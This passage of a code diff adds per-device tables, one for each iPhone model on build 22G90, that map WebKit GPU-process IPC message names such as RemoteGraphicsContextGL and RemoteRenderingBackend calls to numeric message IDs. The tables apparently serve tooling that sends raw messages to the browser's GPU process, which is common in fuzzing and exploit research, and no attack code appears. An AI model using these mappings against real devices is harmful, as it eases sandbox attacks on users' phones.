RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,6_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,7_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone14,8_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone15,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone16,2_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 